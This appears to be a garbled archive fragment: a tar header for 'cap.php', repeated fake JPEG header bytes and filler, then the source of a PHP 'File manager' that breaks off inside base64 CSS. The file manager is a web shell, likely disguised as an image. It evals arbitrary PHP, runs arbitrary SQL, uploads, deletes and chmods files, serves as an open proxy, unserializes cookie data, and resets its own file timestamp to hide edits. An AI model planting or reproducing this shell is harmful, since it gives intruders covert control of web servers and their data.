	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           cap.php                                                                                             0000644                 00000234451 15217301621 0006027 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJC